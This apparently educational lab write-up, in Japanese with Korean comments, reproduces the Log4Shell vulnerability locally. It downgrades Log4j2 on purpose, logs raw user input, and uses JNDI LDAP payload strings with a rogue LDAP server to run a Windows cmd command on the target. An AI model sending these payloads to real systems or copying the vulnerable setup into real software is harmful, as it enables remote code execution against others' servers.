
🎈 Spring Boot 2.x 環境でのテスト
pom.xml : Log4j2 バージョンを脆弱バージョンにダウングレード
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : ユーザーの入力をそのまま受け取ってログ出力するコントローラーメソッドを追加
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
ブラウザ実行

実際に ${jndi:ldap://127.0.0.1:19090/run} 文字列をサーバーに送信したとき、サーバーが 127.0.0.1:19090 への接続を試みる。
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
ローカルの19090ポートにLDAPサーバーが起動しているわけではないため、Connection refused: connect 例外でエラーログが残る。
LOGGER.info("{}", ldapString); コードでは JNDIエラー例外がスローされなかった。
https://github.com/veracode-research/rogue-jndi このコードからTomcat関連部分のみを調査し、シンプルなSpring Bootプロジェクトとして構成した。
Tomcat関連部分のみを調査した理由は...
まず対象テストサーバーがSpring Bootの組み込みTomcatベースであるため、Tomcatのみを調査しても脆弱性の動作を確認できると考え、そのように進めた。
コマンドの準備
単純な計算機だけではシンプルすぎるので、cmdコマンドを組み合わせてみた。
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
実際に試してみると、本当にテスト対象サーバーの実行ファイルのリモート実行が可能だった。確認方法は以下の通り。
ldap-server サーバー、traget-server 実行
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
テスト対象サーバーで ${jndi:ldap://127.0.0.1:19090/o=tomcat} 文字列を送信後確認

target-server プロジェクトルートに test.txt ファイルが作成され、メモ帳で実行された。
対象Tomcatに送るペイロード生成にJavaのJavaScript実装Nashornを使用しているが、Java 15からNashornが完全に削除された。そのためldapサーバーが対象Tomcatにコマンドを送ったが、コマンドが実行されない問題があった。
その場合は.. nashorn-core または rhino-engine のどちらか一つを対象Tomcatサーバーのライブラリとして追加すればよかった。
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
バージョン管理を楽にするために 親子 関係でpom.xmlを修正したところ、以下のように親pomがあるディレクトリから実行できる。
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
このソフトウェアは教育目的および/またはユーザーが事前に攻撃を許可したシステムのテストのみを目的として提供されます。
(rogue-jndi にもこの文言を追加されていたので、従って入れました。😓)